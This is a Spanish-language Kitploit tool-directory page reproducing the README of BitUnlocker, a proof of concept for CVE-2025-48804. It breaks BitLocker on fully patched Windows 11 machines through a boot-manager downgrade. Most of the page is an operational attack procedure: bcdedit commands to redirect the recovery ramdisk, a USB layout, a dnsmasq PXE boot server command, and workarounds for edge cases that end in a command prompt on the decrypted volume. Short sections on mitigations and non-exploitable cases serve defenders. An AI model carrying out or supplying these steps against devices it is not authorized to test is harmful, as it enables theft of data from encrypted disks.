Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
BitUnlocker — Ataque de downgrade para CVE-2025-48804 | Kitploit
Herramientas/GitHubGitHub/garatc/bitunlocker
Análisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónSeguridad de HardwareRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Ataque de downgrade para CVE-2025-48804

Ver Repositorio
223442hace 6 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

BitUnlocker: Ataque de degradación

License: MIT

Una prueba de concepto para acceder a discos cifrados con BitLocker en menos de 5 minutos en máquinas Windows 11 totalmente parcheadas mediante un ataque de degradación del administrador de arranque, aprovechando la vulnerabilidad SDI documentada originalmente como CVE-2025-48804. El parche de julio de 2025 corrige esto en bootmgfw.efi, por lo que cualquier bootmgfw.efi anterior al parche firmado bajo PCA 2011 puede utilizarse para un ataque de degradación, siempre que el sistema objetivo confíe en esta PCA.

Esta PoC proporciona dos métodos de entrega: arranque USB (más simple y recomendado) y arranque PXE. Pero, en teoría, también podrías copiar un archivo de arranque SDI en una de las particiones sin cifrar predeterminadas (ESP y Recovery) y no molestarte con USB o PXE; consulta la tabla "Casos límite".

Este trabajo se basa enteramente en la investigación de Microsoft STORM (Netanel Ben Simon y Alon Leviev):

BitUnlocker: Uso de la recuperación de Windows para extraer secretos de BitLocker


Requisitos previos

  • Acceso físico a un dispositivo cifrado con BitLocker (solo TPM, PCR 7 + 11)
  • La base de datos de Secure Boot del dispositivo aún confía en el certificado Microsoft Windows PCA 2011
  • Una memoria USB (recomendada) o una máquina Linux con dnsmasq y un cable Ethernet para PXE
Descargar herramienta

Paso a paso

1. Descarga boot_patched.sdi desde Releases (o crea tu propio archivo SDI, ver más abajo)

Colócalo en USB/sdi/ (para el método USB) o en TFTP-root/sdi/ (para el método PXE).

2. Prepara el BCD modificado

En el dispositivo objetivo, abre un símbolo del sistema de WinRE (mantén pulsada la tecla Shift mientras haces clic en Reiniciar, luego Solucionar problemas > Símbolo del sistema — haz clic en "Ignorar este disco" cuando se te pida una clave de recuperación de BitLocker y haz clic en "relanzar" si también se te dice que el símbolo del sistema no puede ejecutarse en un dispositivo bloqueado — y si el símbolo del sistema simplemente no se abre, usa tu propio WinPE si puedes). Conecta una memoria USB y ejecuta:

root@kitploit:~
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

En la salida, busca la entrada de opciones de dispositivo cuya descripción sea "Windows Recovery" y que contenga las entradas ramdisksdidevice / ramdisksdipath. Anota su GUID y luego:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Coloca el archivo BCD resultante en la ubicación adecuada según tu método:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Arranca el dispositivo objetivo

Opción A: arranque USB (recomendado)

Formatea una memoria USB como FAT32 y copia el contenido del directorio USB/ en su raíz (solo su contenido, no debe haber una carpeta "USB"). La memoria USB debería verse así:

root@kitploit:~
USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Pre-patch boot manager (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Your modified BCD
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

Conecta la memoria USB al dispositivo objetivo y activa un arranque USB UEFI, ya sea desde WinRE (Usar un dispositivo) o pulsando la tecla del menú de arranque del fabricante al encender (F12, F9, etc.). Si la memoria USB no aparece en la lista de opciones de arranque, busca una opción "Iniciar desde archivo" en el menú de arranque UEFI y navega hasta EFI/Boot/bootx64.efi en la memoria USB.

Opción B: arranque PXE

El directorio TFTP-root/ tiene la siguiente estructura:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Pre-patch boot manager (PCA 2011)
├── Boot/
│   └── BCD                     # Your modified BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Same pre-patch boot manager
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

Conecta el dispositivo objetivo a tu máquina Linux mediante Ethernet e inicia el servidor PXE:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Activa el arranque PXE en el dispositivo objetivo: desde WinRE selecciona Usar un dispositivo > Red IPv4, o pulsa la tecla de arranque PXE del fabricante.

4. Espera a que se transfiera el SDI

El administrador de arranque cargará el BCD y comenzará a descargar boot_patched.sdi. El archivo SDI es grande (~300 MB), por lo que tarda un momento desde USB, o varios minutos a través de TFTP. Mientras se carga, debería aparecer en la pantalla del dispositivo objetivo un mensaje relacionado con la recuperación con la ruta del SDI.

5. Beneficio

Una vez completada la transferencia, debería aparecer un símbolo del sistema con el volumen del SO descifrado y montado (normalmente C: o E:). Si no se montó automáticamente o no quieres adivinar la letra, simplemente ejecuta diskpart -> sel vol X (el que parezca tu unidad cifrada) -> assign letter=C (o cualquier otra letra) -> exit -> beneficio

Casos límite

SituaciónQué ocurre
BitLocker configurado con un PIN que conocesPantalla azul al arrancar: escribe el PIN a ciegas (perdona, no me he molestado con las fuentes de BitLocker en este repositorio) y pulsa Enter
Pantalla azul, sin PINEs probable que el objetivo haya migrado a CA 2023: pulsa Escape y deja que la transferencia SDI termine de todos modos, pero lo más probable es que el disco cifrado con BitLocker termine bloqueado
Solo USB-C / ThunderboltUsa una unidad USB-C o un adaptador USB-Ethernet (para PXE)
Archivo TFTP no encontrado (excepto los archivos de fuentes basura que no nos importan)Los nombres de archivo distinguen entre mayúsculas y minúsculas: renombra bootmgfw.efi para que coincida con lo que solicita el objetivo
No se permite el arranque PXE ni USBComprueba el espacio disponible de las particiones ESP y Recovery (diskpart -> list vol). Si hay suficiente espacio para el archivo Boot.sdi proporcionado (que ocupa unos 300 MB) en cualquiera de las particiones, colócalo allí. Entonces el exploit será ligeramente diferente (pero igual de rápido), ya que tendrás que modificar directamente el archivo BCD del sistema objetivo (haz una copia de seguridad) para que apunte a la partición host sin cifrar (en particular, la entrada ramdisksdidevice del BCD), y reemplazar el bootmgfw.efi del objetivo por el proporcionado en la carpeta TFTP de este repositorio. En este caso, asegúrate de comprobar que el administrador de arranque del objetivo está firmado por PCA 2011 (el exploit no funcionaría de todos modos; compruébalo siempre); de lo contrario, pondrás el sistema en recuperación de BitLocker. Además, si no hay suficiente espacio para el archivo Boot.sdi que proporcioné en este repositorio, puedes intentar crear tu propia versión más pequeña; sin duda hay formas de hacerlo (consulta la sección "Crea tu propio archivo SDI" más abajo)

Crea tu propio archivo SDI

He incluido dos scripts en scripts/:

  • patch_sdi.py — crea un archivo SDI modificado a partir de un boot.sdi y un archivo WinRE.wim
  • parse_sdi.py — analiza un archivo SDI para validar su estructura y contenido

El archivo boot_patched.sdi proporcionado en Releases contiene un WinRE.wim modificado en el que la aplicación de lanzamiento es cmd.exe.

Casos no explotables

  • TPM + PIN o TPM + archivo de clave está configurado y el atacante no lo conoce
  • KB5025885 está instalado / el administrador de arranque se ha migrado a CA 2023 — las máquinas recién instaladas desde principios de 2026 probablemente vienen con un bootmgfw.efi firmado por CA 2023 de forma predeterminada. Para comprobarlo, monta la partición EFI e inspecciona el binario activo: mountvol S: /s y luego sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Ten en cuenta que C:\Windows\Boot\EFI\bootmgfw.efi puede diferir del archivo realmente utilizado al arrancar: comprueba siempre la copia de la partición EFI.
  • Política PCR no predeterminada — las configuraciones que implican PCR 0, 2 o 4 detectarán el cambio en la ruta de arranque
  • PCA 2011 revocado mediante DBX — si se ha retirado explícitamente la confianza al certificado antiguo

Mitigaciones

  • Habilita TPM + PIN — un PIN de prearranque impide que el TPM revele el VMK sin interacción del usuario, independientemente de la manipulación de la ruta de arranque. Ten en cuenta, sin embargo, que no detendría a un usuario interno que conozca el PIN.
  • Migra a Windows UEFI CA 2023 y aplica KB5025885 para prevenir los ataques de degradación por completo

Créditos

Microsoft STORM (Netanel Ben Simon y Alon Leviev) por la investigación original de BitUnlocker y la divulgación de la vulnerabilidad.


Licencia

Este proyecto está bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.

Descargo de responsabilidad

Este repositorio y todo su contenido se proporcionan estrictamente para pruebas de seguridad autorizadas y fines de investigación. Utiliza esta herramienta únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso o los daños derivados del uso de este material.